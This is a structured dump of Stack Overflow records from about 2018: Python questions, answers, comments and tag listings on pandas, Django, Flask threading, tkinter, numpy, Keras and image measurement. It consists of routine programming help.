has body: Python 3.6. I have the DataFrame warning : UserWarning: This pattern has match groups. To actually get the groups, use str.extract. with this pattern : laDataTemps.loc[laDataTemps['texte'].str.contains(r'\b(word1|word2)\b', regex=True)] Or, if i remove parenthesis to avoid groups, it won't have the same meaning. Any idea on how i could change the pattern to remove the warning ? Thanks !
linked to: http://stackoverflow.com/q/39901550
tagged with: regex
accepted answer: http://stackoverflow.com/a/49517510

http://stackoverflow.com/comment/85968531
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49482784
has text: You execute the function in a different thread. See: https://stackoverflow.com/questions/12435211/python-threading-timer-repeat-function-every-n-seconds

http://stackoverflow.com/comment/85993196
has text: Inspired by @RoryDaulton: If the problem needs a better quality solution, check (maybe) https://en.wikipedia.org/wiki/Verlet_integration#Velocity_Verlet
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49494658
type: QuestionComment

http://stackoverflow.com/comment/85994123
type: Comment
type: AnswerComment
has text: Actually, this is what I thought also, but the same issue occurs in totally irrelevant projects, plus I have no admin directory in my project. I cannot locate the file causing the issue anywhere on my computer.
comment on: http://stackoverflow.com/a/49492396
score: 1

http://stackoverflow.com/q/49451626
type: UnansweredQuestion
answer count: 1
has body: I'm still studying in school and still new in Python language &amp; Django framework and I'm trying doing projects to learn the best practice for it. Right now I'm building a project like following : Topics Model => which is user can write a new topic Replies Model => which is user can write a new reply for a specific topic Likes Model => which is user can vote up or down for a topic or reply it's a little bit close from stackoverflow site . Models.py class Topic(models.Model): user = models.ForeignKey(CustomUser, on_delete=models.CASCADE) title = models.CharField(max_length=400) like = models.IntegerField(default=0) dislike = models.IntegerField(default=0) image = models.FileField(blank=True, null=True) created_date = models.DateTimeField(auto_now=True) def __str__(self): return self.title[0:51] class Reply(models.Model): user = models.ForeignKey(CustomUser, on_delete=models.CASCADE) topic = models.ForeignKey(Topic, on_delete=models.CASCADE) reply = models.TextField() created_date = models.DateTimeField(auto_now=True) def likes(self): return Likes.objects.filter(reply=self, reply_flag=1).count() likes.short_description = 'likes' def dislikes(self): return Likes.objects.filter(reply=self, reply_flag=-1).count() dislikes.short_description = 'dislikes' def __str__(self): return self.reply class Likes(models.Model): user = models.ForeignKey(CustomUser, on_delete=models.CASCADE) reply = models.ForeignKey(Reply, on_delete=models.CASCADE) reply_flag = models.CharField(max_length=5, choices=( ('0', 'No'), ('1', 'Positive'), ('-1', 'Negative'))) # 1 = vote up , -1 vote down Views.py # get all topics def Topics(request): topics = models.Topic.objects.all() return render(request, 'Topics.html', {'topics': topics}) # get detail of specific topic def TopicDetails(request, topic_id): topic = get_object_or_404(models.Topic, pk=topic_id) return render(request, 'Topic_Details.html', {'topic': topic, 'Likse': models.Likes.objects.all}) Templates: topics.html : {% for topic in topics…
favorite count: 0
type: Question
has title: Django filter queryset in template
has answer: http://stackoverflow.com/a/49452377
tagged with: django
tagged with: django-models
tagged with: python
upvote count: 2
score: 2
tagged with: django-templates
tagged with: django-views
downvote count: 0

http://stackoverflow.com/a/49525940
answers question: http://stackoverflow.com/q/49525880
upvote count: 2
downvote count: 0
has body: If you are using anaconda, try: conda install -c auto pytesseract
type: Answer
score: 2

http://stackoverflow.com/comment/85936084
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49465692
has text: @JamesKPolk I see... Thanks for explaining. Digging through this rabbit hole I see that Argon2 is even better. It's very disappointing there are absolutely no examples out there! If you could provide an example, I'd be grateful.
type: Comment

http://stackoverflow.com/a/49524005
accepted answer of: http://stackoverflow.com/q/49519256
type: AcceptedAnswer
has body: You probably want to store the unique hits in a model like this: from django.contrib.auth.models import User class HitCount(models.Model): article = models.ForeignKey(Article, on_delete=models.CASCADE) user = models.ForeignKey(User, on_delete=models.CASCADE) hits = models.PositiveIntegerField() And then to get stats you would do something like: all_hits_by_specific_user = Hitcount.objects.filter(article=somearticle, user=someuser).first().hits total_unique_hits = HitCount.objects.count()
type: Answer
answers question: http://stackoverflow.com/q/49519256
score: 0

http://stackoverflow.com/comment/86055664
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49517375
type: AnswerComment
has text: i have done pip install graphviz...but its also not working...i am very much confused with the path... i have installed python on E drive...the graphviz folder was in C and i have paste it in E drive where my python setup originally exist... This also can not solve my issue.

http://stackoverflow.com/comment/86057396
has text: Could you explain what the problem is? test changing worker to self.worker, the local variables are destroyed when the function finishes executing, in the case of thread it is not destroyed since you store it in a list but worker is eliminated.
comment on: http://stackoverflow.com/q/49525673
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86067449
comment on: http://stackoverflow.com/a/49530699
score: 0
has text: The order is not guaranteed for Python 3 at all, maybe you're thinking of dicts, but that's only guaranteed from Python 3.7
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49478604
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/49477999
score: 1
upvote count: 1
has body: I would try to import the data into a database and do the joins there (e.g. Postgres if you want a relational DB – there are pretty nice ORMs for it, like peewee). Maybe you can then use SQL operations to get a subset of the data you are most interested in, export it and can process it using Pandas. Also, take a look at Ibis for working with databases directly – another project Wes McKinney, the author of Pandas worked on. It would be great to use Pandas with an on-disk storage system, but as far as I know that's not an entirely solved problem yet. There's PyTables (a bit more on using PyTables with Pandas here), but it doesn't support joins in the same SQL-like way that Pandas does.

http://stackoverflow.com/q/49549982
type: Question
has body: i have a function that read file and display the matching word using regular expression . the system display the result like this : if Exist on Line 1 if Exist on Line 2 what i want is to make the result look like this : if exist 2 times on line 1 on line 2 code: def searchWord(self,selectedFile): fileToSearchInside = self.readFile(selectedFile) searchedSTR = self.lineEditSearch.text() textList = fileToSearchInside.split('\n') counter = 1 for myLine in textList: theMatch = re.findall(searchedSTR,myLine,re.MULTILINE|re.IGNORECASE) if(len(theMatch) &gt; 0 ): print(theMatch[0]) print("Exist on Line {0}".format(counter)) counter+=1
accepted answer: http://stackoverflow.com/a/49550294
has answer: http://stackoverflow.com/a/49550294
downvote count: 0
upvote count: 1
tagged with: python
has title: how to fix the display format of the return result in python
has comment: http://stackoverflow.com/comment/86107623
type: AnsweredQuestion
tagged with: printing
tagged with: if-statement
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/86107707
tagged with: readfile
favorite count: 0

http://stackoverflow.com/a/49553226
score: 3
accepted answer of: http://stackoverflow.com/q/49552730
type: Answer
has body: You can use jinja to generate any text. I use jinja myself to generate python and there is at least one previous stack overflow post.
answers question: http://stackoverflow.com/q/49552730
upvote count: 3
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/49482036
type: AcceptedAnswer
downvote count: 0
score: 16
answers question: http://stackoverflow.com/q/49469978
has comment: http://stackoverflow.com/comment/129796014
upvote count: 16
has comment: http://stackoverflow.com/comment/86049960
has comment: http://stackoverflow.com/comment/86194534
accepted answer of: http://stackoverflow.com/q/49469978
has comment: http://stackoverflow.com/comment/86172205
has comment: http://stackoverflow.com/comment/86049417
has body: Dont join child thread. Use setDaemon instead: from flask import Flask import time import threading def thread_webAPP(): app = Flask(__name__) @app.route("/") def nothing(): return "Hello World!" app.run(debug=True, use_reloader=False) t_webApp = threading.Thread(name='Web App', target=thread_webAPP) t_webApp.setDaemon(True) t_webApp.start() try: while True: time.sleep(1) except KeyboardInterrupt: print("exiting") exit(0) daemon for a child thread means that the main thread won't wait till this daemon child thread is finished its job if you're trying to stop the main thread. In this case all child threads will be joined automatically and the main thread will be successfully stopped immediately. More info is here.
type: Answer
has comment: http://stackoverflow.com/comment/86190470

http://stackoverflow.com/q/49586576
has body: Suppose I wish to compute and view the result of a list comprehension that takes a while to compute but returns only a small number of results; for instance (artificial example), L = [x for x in range(100000000) if x&lt;10]; print(L) Is there a simple way to print these elements as soon as they are computed, rather than all at the end? One can write a decorator to do it: import sys def print_as_computed(gen): try: while True: v = next(gen) print v sys.stdout.flush() yield v except StopIteration: pass L1 = list(print_as_computed(x for x in range(10000000) if x&lt;10)) but I am wondering if there is a builtin to do it, or a more standard/Pythonic way.
tagged with: list-comprehension
score: 0
has answer: http://stackoverflow.com/a/49586654
answer count: 1
has title: Print elements in comprehension as soon as they are computed
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86180997
has comment: http://stackoverflow.com/comment/86181034
linked to: http://stackoverflow.com/q/2849645
tagged with: python

http://stackoverflow.com/comment/85927299
type: QuestionComment
comment on: http://stackoverflow.com/q/49457893
score: 0
type: Comment
has text: @ZdaR just uploaded the original image.

http://stackoverflow.com/a/49522107
answers question: http://stackoverflow.com/q/49457301
has body: This has been resolved. The above section has the updated code. That is working great.
score: 0
type: Answer

importerror
tags question: http://stackoverflow.com/q/49504252
type: Tag
tags question: http://stackoverflow.com/q/49496361
tags question: http://stackoverflow.com/q/49484271
tags question: http://stackoverflow.com/q/49489944
tag name: importerror
tags question: http://stackoverflow.com/q/49558985
tags question: http://stackoverflow.com/q/49522083

reinforcement-learning
tags question: http://stackoverflow.com/q/49468486
tags question: http://stackoverflow.com/q/49451366
tag name: reinforcement-learning
tags question: http://stackoverflow.com/q/49585432
type: Tag

http://stackoverflow.com/comment/86266864
has text: https://stackoverflow.com/q/49630050/9020824
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49531291

http://stackoverflow.com/comment/86147773
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49533946
has text: The iterator can allow for faster execution by allowing the user to 1/ avoid the python for loop (which can't be optimized) and use any higher-level and more optimized constructs (`map`, `filter`, list comprehension etc), 2/ optimize further by just ignoring values they don't care about, 3/ optimize memory use by not necessarily storing all values, etc etc... Actually your for loop / append solution is far from optimal wrt/ both space and time.
type: Comment

http://stackoverflow.com/comment/86180596
comment on: http://stackoverflow.com/a/49586348
type: AnswerComment
score: 0
has text: Thanks for the reply. How about if I do a check for the status 200 only and write them of a sperate file. Just like `if statuss == 200: f_out.write(i)`
type: Comment

http://stackoverflow.com/comment/85940415
score: 0
type: AnswerComment
has text: `Cloning into 'cookiecutter-data-science'... fatal: unable to access 'https://github.com/drivendata/cookiecutter-data-science.git/': error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version`
type: Comment
comment on: http://stackoverflow.com/a/49468706

http://stackoverflow.com/q/49567411
has title: Recombining subplots
has comment: http://stackoverflow.com/comment/86143313
tagged with: python
has comment: http://stackoverflow.com/comment/86155582
has comment: http://stackoverflow.com/comment/86160511
has comment: http://stackoverflow.com/comment/86153671
score: 0
answer count: 0
has body: I have a function that generates a figure with 4 subplots: def genFigures(self,savefile='out/histograms.png',show=0) : fig, ((barsimpF, barsimpT),(barsworF, barsworT)) = plt.subplots(2, 2, sharey=True,figsize=(12,10)) but I would like to have the opportunity to reuse and recombine the subplot in different ways later on, with other subplots from other calls to the function. I have tried the function to return the subplots return (barsimpF,barsimpT) But how do I reuse them later on? Thanks.
tagged with: matplotlib
linked to: http://stackoverflow.com/q/47098845
has comment: http://stackoverflow.com/comment/86155131
type: Question
linked to: http://stackoverflow.com/q/45861656
has comment: http://stackoverflow.com/comment/86153505
type: UnansweredQuestion

http://stackoverflow.com/a/49772477
has comment: http://stackoverflow.com/comment/86729054
has comment: http://stackoverflow.com/comment/86578675
has comment: http://stackoverflow.com/comment/86596137
has comment: http://stackoverflow.com/comment/86872830
type: AcceptedAnswer
downvote count: 0
score: 6
has comment: http://stackoverflow.com/comment/86579092
has comment: http://stackoverflow.com/comment/86560285
accepted answer of: http://stackoverflow.com/q/49464153
has comment: http://stackoverflow.com/comment/86887712
has comment: http://stackoverflow.com/comment/86564611
has comment: http://stackoverflow.com/comment/86584493
answers question: http://stackoverflow.com/q/49464153
has body: EDIT: After a lot of experience I've gained with QStyle, I suddenly remembered about this question due to another one that was recently posted, and realized why the "first proposed solution" linked in the question didn't work and mine either (for the same reasons, but using different implementation). Scroll down for the alternate solution. First (accepted) answer I stumbled upon similar issues some weeks ago, and then I studied a bit about how QStyle works. The concept is that you will let Qt draw the whole widget, but using QStyleOption helper classes (there's almost one for every kind of widget). Here's a simple example (I updated the code), using part of the stylesheets you used. The only issue here is that the tab border does not properly use stylesheets (I wasn't able to find how QStyle draws them), so the radius is smaller and the pen width is thinner. I tested it and it works without consuming resources. I hope it helps. class TabBar(QtWidgets.QTabBar): def __init__(self, parent): QtWidgets.QTabBar.__init__(self, parent) self.colorIndexes = parent.colorIndexes self.setStyleSheet(''' QTabBar { font-family: Courier; font-size: 12pt; } QTabBar::tab { min-height: 40px; padding: 2px 8px; } ''') def paintEvent(self, event): qp = QtGui.QPainter(self) qp.setRenderHints(qp.Antialiasing) option = QtWidgets.QStyleOptionTab() option.features |= option.HasFrame palette = option.palette for index in range(self.count()): self.initStyleOption(option, index) palette.setColor(palette.Button, self.colorIndexes.get(index, QtGui.QColor(QtCore.Qt.green))) palette.setColor(palette.Window, QtGui.QColor(QtCore.Qt.blue)) option.palette = palette self.style().drawControl(QtWidgets.QStyle.CE_TabBarTab, option, qp) class TabWidget(QtWidgets.QTabWidget): def __init__(self): QtWidgets.QTabWidget.__init__(self) self.setStyleSheet(''' QTabWidget::pane { border: 2px solid blue; border-radius: 6px; } QTabWidget::tab-bar { left: 5px; } ''') self.colorIndexes = { 1: QtGui.QColor(QtCore.Qt.red), …
has comment: http://stackoverflow.com/comment/86676501
type: Answer
has comment: http://stackoverflow.com/comment/101190513
has comment: http://stackoverflow.com/comment/101190406
upvote count: 6

http://stackoverflow.com/q/49535561
downvote count: 0
upvote count: 1
score: 1
accepted answer: http://stackoverflow.com/a/49535660
tagged with: keras
has answer: http://stackoverflow.com/a/49535660
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86078373
has title: ImageDataGenerator on a folder
tagged with: python
has body: I have a problem with the code in keras document. In the below code, it just loaded 1 image. if I have 10 images in a folder, how am I going to use this code because load_img function just loading 1 image and I want to load my folder which contains 10 images and apply data generation on all images, Any help? from keras.preprocessing.image import ImageDataGenerator, array_to_img, img_to_array, load_img datagen = ImageDataGenerator( rotation_range=40, width_shift_range=0.2, height_shift_range=0.2, shear_range=0.2, zoom_range=0.2, horizontal_flip=True, fill_mode='nearest') img = load_img('data/train/cats/cat.0.jpg') # this is a PIL image x = img_to_array(img) x = x.reshape((1,) + x.shape) i = 0 for batch in datagen.flow(x, batch_size=1, save_to_dir='preview', save_prefix='cat', save_format='jpeg'): i += 1 if i &gt; 20: break
favorite count: 0
type: Question
answer count: 1

http://stackoverflow.com/a/49474873
upvote count: 1
has body: Let's refactor that to make it easier to test: def loop(): try: print("Some action here") except: # clean up and re-raise print("Some cleanup") raise def main(): def signal_handler(signalnum, _): # How to get this to block to run in a test? sys.exit(0) signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) while True: try: loop_body() time.sleep(10) except SystemExit: break if __name__ == '__main__': main() This doesn't allow easy testing of the signal handling code though. However, that amount is so small, rarely changed and strongly depends on the environment, that it is possible and perhaps even better to test manually. For clarity, it could be useful to use a context handler, which is usually a good idea when you have setup/shutdown code. You don't mention the setup code, but my Crystall Ball (tm) tells me it exists. It could then be called like this: try: with my_service() as service: while True: service.run() sleep(10) except SystemExit: # perform graceful shutdown on signal pass I'll leave the implementation of that context manager to you, but check out contextlib, which makes it easy and fun.
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49474435
downvote count: 0

http://stackoverflow.com/comment/86221809
type: QuestionComment
has text: It is still not clear what the problem is. Is there something wrong with the JSON response?
comment on: http://stackoverflow.com/q/49586302
score: 0
type: Comment

http://stackoverflow.com/q/49590501
has comment: http://stackoverflow.com/comment/86189062
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86189010
tagged with: tkinter
has body: I have been trying to make a board game in Python but I was wondering how to delete multiple buttons in a for loop, as all of the buttons are called btn and were created in a for loop. Currently, all it does is print each number when you click on it but I would like the bottom button to delete all of the numbered buttons. Currently, it only deletes button number 63, no matter how many times I press it. Does anyone know how I can delete all of them or use a workaround by deleting the frame or something? Here is the code which I have so far and have described. from tkinter import * from time import * def remove(): for x in range(0,64): btn.destroy() def main(): root = Tk() root.title("8x8 grid") Button(command = remove,text = "Remove all").grid(row = 8,column = 3,columnspan = 2) for pos in range(0,64): global btn btn = Button(command = lambda pos = pos: print(pos),width = 5,height = 2,relief = RIDGE,text = pos) btn.grid(row = pos // 8,column = pos % 8) root.mainloop() main() Thanks everyone! (Sorry if this question has already been asked - I have not found any others that have asked the same question)
has title: Python TKinter: how to delete multiple widgets by the same name created in a for loop?
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86188828
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/48550578
favorite count: 0
has comment: http://stackoverflow.com/comment/86189440
type: Question
has comment: http://stackoverflow.com/comment/86189145
accepted answer: http://stackoverflow.com/a/49590645
tagged with: python
has answer: http://stackoverflow.com/a/49590645
has comment: http://stackoverflow.com/comment/86189078

http://stackoverflow.com/q/49466594
tagged with: process
has answer: http://stackoverflow.com/a/49471880
has comment: http://stackoverflow.com/comment/85946451
favorite count: 0
type: Question
tagged with: python-3.x
has body: I am working an a tool where-in I am getting the initial user credentials and an unique identifier via Tkinter GUI interface. Post that after a lot of data fetching and processing I would get a report into an excel sheet using xlsxwriter package. I generally exit/close the tkinter window using destroy() method on click of a button. Here, I want to show the user the status of the report creation in a Tkinter messagebox and then close the main window. Note: I am using .pyw extension, so that the end user who is using the tool shouldn't see the console. So once the user hits the submit button, I will show a label at the footer of the window saying "Processing ..." Sample code: from tkinter import * #Some other libraries are imported mScrn = Tk() mScrn.title("Report Generation Tool v1.0") mScrn.geometry("200x180") mScrn.resizable(False, False) tk_uid_lbl = Label(mScrn, text="MVS1 Username") tk_uid_lbl.pack() tk_uid_lbl.place(x=20,y=20) uid = StringVar() tk_uid = Entry(mScrn, bd=3, textvariable=uid) tk_uid.pack() tk_uid.place(x=150, y=20) tk_pwd_lbl = Label(mScrn, text="MVS1 Password") tk_pwd_lbl.pack() tk_pwd_lbl.place(x=20,y=60) pwd = StringVar() tk_pwd = Entry(mScrn, bd=3, show='*', textvariable=pwd) tk_pwd.pack() tk_pwd.place(x=150, y=60) tk_ver_lbl = Label(mScrn, text="Version #") tk_ver_lbl.pack() tk_ver_lbl.place(x=20,y=100) ver = StringVar() tk_ver=Entry(mScrn, bd=3, textvariable=ver) tk_ver.pack() tk_ver.place(x=150, y=100) tk_sub_button = Button(text='Submit', command = show_footer) tk_sub_button.pack() tk_sub_button.place(x=150, y=150) mScrn.mainloop() #The data provided in the GUI is used for access and a lot of process goes on #Close the Tkinter window post the process is done Thanks in Advance. I am using Python3
has title: Close tkinter window after the script execution is complete
type: UnansweredQuestion
score: -2
has comment: http://stackoverflow.com/comment/85936347
downvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/85935869
tagged with: tkinter
answer count: 2
has comment: http://stackoverflow.com/comment/85936111
has answer: http://stackoverflow.com/a/49477157
upvote count: 0

http://stackoverflow.com/q/49523370
has comment: http://stackoverflow.com/comment/86054170
has body: I am looking for fast way of assembling the numpy array by an interval function. Here is my present code (simplified) which consumes a lot of time for creating subarrays: import numpy as np def func(): a = np.random.random(10000) # avarage size of my arrays b = np.random.random(10000) r = np.zeros_like(a) ind = np.where(a &gt; 0.1)[0] # some data close to limits is always cut ind = ind[a[ind] &lt; 0.9] ind2 = ind[a[ind] &lt;= 0.3] # first interval r[ind2] = a[ind2] * b[ind2] # exemplary calculation ind = ind[ind != ind2][0] ind2 = ind[a[ind] &lt;= 0.8] # second interval r[ind2] = a[ind2] * b[ind2] * 5 ind = ind[ind != ind2][0] ind2 = ind[a[ind] &gt; 0.8] # even up to 20 intervals (can be done in loop, # here shown separated for clarity) r[ind2] = a[ind2] * b[ind2] * 10 return r I will be grateful for every hint.
type: Question
tagged with: numpy
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86053112
tagged with: python
has title: Assembly numpy array by piecewise function
score: 0
answer count: 0

http://stackoverflow.com/a/49539075
has comment: http://stackoverflow.com/comment/86149325
has comment: http://stackoverflow.com/comment/86149737
downvote count: 0
answers question: http://stackoverflow.com/q/49530738
type: Answer
has body: Hough is designed for detecting, not for quantifying. If you want precise measures, you'll have to use a library designed for that. OpenCV is not meant for quantification, and consequently has poor capabilities there. A long time ago I wrote a paper about more precise estimates of size using the Radon transform (the Hough transform is one way of discretizing the Radon transform, it's fast for some cases, but not precise): C.L. Luengo Hendriks, M. van Ginkel, P.W. Verbeek and L.J. van Vliet, The generalized Radon transform: sampling, accuracy and memory considerations, Pattern Recognition 38(12):2494–2505, 2005, doi:10.1016/j.patcog.2005.04.018. Here is a PDF. But because your setup is so well controlled, you don't really need all that to get a precise measure. Here is a very straight-forward Python script to quantify these holes: import diplib as dip import math # Load image and set pixel size img = dip.ImageRead('N6uqw.jpg') img.SetPixelSize(0.042, "mm") # Extract object obj = ~dip.Threshold(dip.Gauss(img))[0] obj = dip.EdgeObjectsRemove(obj) # Remove noise obj = dip.Opening(dip.Closing(obj,9),9) # Measure object area lab = dip.Label(obj) msr = dip.MeasurementTool.Measure(lab,img,['Size']) objectArea = msr[1]['Size'][0] # Measure holes obj = dip.EdgeObjectsRemove(~obj) lab = dip.Label(obj) msr = dip.MeasurementTool.Measure(lab,img,['Size']) sz = msr['Size'] holeAreas = [] for ii in sz.Objects(): holeAreas.append(sz[ii][0]) # Add hole areas to main object area objectArea += sum(holeAreas) print('Object diameter = %f mm' % (2 * math.sqrt(objectArea / math.pi))) for a in holeAreas: print('Hole diameter = %f mm' % (2 * math.sqrt(a / math.pi))) This gives me the output: Object diameter = 57.947768 mm Hole diameter = 6.540086 mm Hole diameter = 6.695357 mm Hole diameter = 15.961935 mm Hole diameter = 6.511002 mm Hole diameter = 6.623011 mm Note that there are a lot of assumptions in the code above. There is also an issue with the camera not being centered exactly above t…
score: 8
upvote count: 8
accepted answer of: http://stackoverflow.com/q/49530738
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86167320

http://stackoverflow.com/a/49537234
downvote count: 0
has body: For example, suppose you have the function from the documentation @background(schedule=60) def notify_user(user_id): # lookup user by id and send them a message user = User.objects.get(pk=user_id) user.email_user('Here is a notification', 'You have been notified') Suppose you want to repeat this task daily until New Years day of 2019 you would do the following import datetime new_years_2019 = datetime.datetime(2019, 01, 01) notify_user(some_id, repeat=task.DAILY, repeat_until=new_years_2019)
has comment: http://stackoverflow.com/comment/86083430
has comment: http://stackoverflow.com/comment/86086488
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/49536561
has comment: http://stackoverflow.com/comment/86082723

http://stackoverflow.com/comment/86039374
comment on: http://stackoverflow.com/q/49516630
score: 0
type: Comment
type: QuestionComment
has text: @guidot Thank you. I know what is the problem.

http://stackoverflow.com/comment/111946710
type: Comment
has text: I don't see how that is the reason log1p is useful (as opposed to just using log(1 + x)). If we are assuming x is in [0; +inf], then avoiding a log(0) error would not be a reason for the existence of log1p(x) because log(1 + p) would never raise that error.
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/52290558

http://stackoverflow.com/q/49598324
favorite count: 0
tagged with: urllib
type: Question
has comment: http://stackoverflow.com/comment/86203752
has answer: http://stackoverflow.com/a/49598350
type: UnansweredQuestion
tagged with: python
has body: I am getting the following error - Traceback (most recent call last): File "kiran.py", line 5, in &lt;module&gt; from urllib.parse import urlparse, parse_qs ImportError: No module named parse I have tried using pip install -U websocket pip install parse but still error is coming
upvote count: 4
has title: No module named parse
score: 2
tagged with: python-2.7
downvote count: 2
answer count: 1

http://stackoverflow.com/comment/86133923
type: AnswerComment
has text: @excaza interesting. Thanks!
type: Comment
comment on: http://stackoverflow.com/a/49561155
score: 0

http://stackoverflow.com/comment/86037428
has text: @Simre `pd.to_datetime(df_tx_all'col_tx_year', 'col_tx_month', 'col_tx_day'.astype(str).sum(1),format='%Y%m%d')`
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49515336
type: AnswerComment

http://stackoverflow.com/a/49507798
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49507680
has body: Use zip method and then use string.join to get your required output Ex: res = [] list1, list2, list3 = df['A'].tolist(), df['B'].tolist(), df['C'].tolist() for i in zip(list1, list2, list3 ): val = map(str, i) res.append("/{0}".format("/".join(val)))
score: 2
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86022053
has comment: http://stackoverflow.com/comment/86020079
has comment: http://stackoverflow.com/comment/86020933
upvote count: 2
accepted answer of: http://stackoverflow.com/q/49507680

http://stackoverflow.com/a/49480815
answers question: http://stackoverflow.com/q/49480716
score: 1
upvote count: 1
type: Answer
has body: The function you defined is Foo.bar.fget, not Foo.bar.__get__: typing.get_type_hints(Foo.bar.fget)
downvote count: 0

http://stackoverflow.com/comment/86049567
score: 1
type: Comment
type: QuestionComment
has text: Do not use `sleep()` in tkinter. All this will do is freeze the entire program. If you need to provide a delay on a command then use the `after()` method.
comment on: http://stackoverflow.com/q/49521672

http://stackoverflow.com/comment/85937635
comment on: http://stackoverflow.com/q/49460807
type: Comment
type: QuestionComment
score: 0
has text: I tried displaying it in one of the HTML templates and that's what threw the error. It's looking like session itself isn't working - which might be some Flask issue.

http://stackoverflow.com/q/49529902
has body: How do I remove duplicate lines only if they start in a certain way? Example input: %start _CreditsInfo -(half) userCoins { return 1; } %start _CreditsInfo -(half) userLives { return 1; } Requested output: %start _CreditsInfo -(half) userCoins { return 1; } -(half) userLives { return 1; } As you can see, a normal duplicate removal won't work and I don't want to remove other duplicates than those starting with %start, such as return x;.
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86069441
has comment: http://stackoverflow.com/comment/86087810
answer count: 1
accepted answer: http://stackoverflow.com/a/49530855
has answer: http://stackoverflow.com/a/49530855
type: Question
has comment: http://stackoverflow.com/comment/86069294
has title: Remove Duplicate Lines Starting With Certain String
tagged with: python

http://stackoverflow.com/a/49477040
has comment: http://stackoverflow.com/comment/135374410
has comment: http://stackoverflow.com/comment/85957911
score: 1
answers question: http://stackoverflow.com/q/49475586
type: Answer
has comment: http://stackoverflow.com/comment/85961538
downvote count: 0
upvote count: 1
has body: You can avoid some problems arising from numpy trying to find catchall dtype by explicitly specifying a compound dtype: Code + some timings: import numpy as np import itertools def cartesian_product_mixed_type(*arrays): arrays = *map(np.asanyarray, arrays), dtype = np.dtype([(f'f{i}', a.dtype) for i, a in enumerate(arrays)]) out = np.empty((*map(len, arrays),), dtype) idx = slice(None), *itertools.repeat(None, len(arrays) - 1) for i, a in enumerate(arrays): out[f'f{i}'] = a[idx[:len(arrays) - i]] return out.ravel() a = np.arange(4) b = np.arange(*map(ord, ('A', 'D')), dtype=np.int32).view('U1') c = np.arange(2.) np.set_printoptions(threshold=10) print(f'a={a}') print(f'b={b}') print(f'c={c}') print('itertools') print(list(itertools.product(a,b,c))) print('numpy') print(cartesian_product_mixed_type(a,b,c)) a = np.arange(100) b = np.arange(*map(ord, ('A', 'z')), dtype=np.int32).view('U1') c = np.arange(20.) import timeit kwds = dict(globals=globals(), number=1000) print() print(f'a={a}') print(f'b={b}') print(f'c={c}') print(f"itertools: {timeit.timeit('list(itertools.product(a,b,c))', **kwds):7.4f} ms") print(f"numpy: {timeit.timeit('cartesian_product_mixed_type(a,b,c)', **kwds):7.4f} ms") a = np.arange(1000) b = np.arange(1000, dtype=np.int32).view('U1') print() print(f'a={a}') print(f'b={b}') print(f"itertools: {timeit.timeit('list(itertools.product(a,b))', **kwds):7.4f} ms") print(f"numpy: {timeit.timeit('cartesian_product_mixed_type(a,b)', **kwds):7.4f} ms") Sample output: a=[0 1 2 3] b=['A' 'B' 'C'] c=[0. 1.] itertools [(0, 'A', 0.0), (0, 'A', 1.0), (0, 'B', 0.0), (0, 'B', 1.0), (0, 'C', 0.0), (0, 'C', 1.0), (1, 'A', 0.0), (1, 'A', 1.0), (1, 'B', 0.0), (1, 'B', 1.0), (1, 'C', 0.0), (1, 'C', 1.0), (2, 'A', 0.0), (2, 'A', 1.0), (2, 'B', 0.0), (2, 'B', 1.0), (2, 'C', 0.0), (2, 'C', 1.0), (3, 'A', 0.0), (3, 'A', 1.0), (3, 'B', 0.0), (3, 'B', 1.0), (3, 'C', 0.0), (3, 'C', 1.0)] numpy [(0, 'A', 0.) (0, 'A', 1.) (0, 'B', 0.) ... (3, 'B', 1.) (3, 'C', 0.) (3, 'C', 1.)] …

http://stackoverflow.com/comment/86546999
type: AnswerComment
score: 3
type: Comment
comment on: http://stackoverflow.com/a/49496788
has text: Notice that the error received reads: Loaded runtime CuDNN library: 7102 (compatibility version 7100) but source was compiled with 7003 (compatibility version 7000). This indicates the user had installed cuDNN 7.1 (7100) version but the source library was compiled with cuDNN 7.0 (7000) which led to incompatibility. The latest version of the 7000 series is cuDNN 7.0.5.

http://stackoverflow.com/comment/86000076
comment on: http://stackoverflow.com/q/49497314
score: 0
has text: @ALollz, this question is specifically about rendering a MultiIndexed dataframe and the struggles to print them, not just a generic Series/DF :)
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49531888
tagged with: unit-testing
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86071183
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/86069900
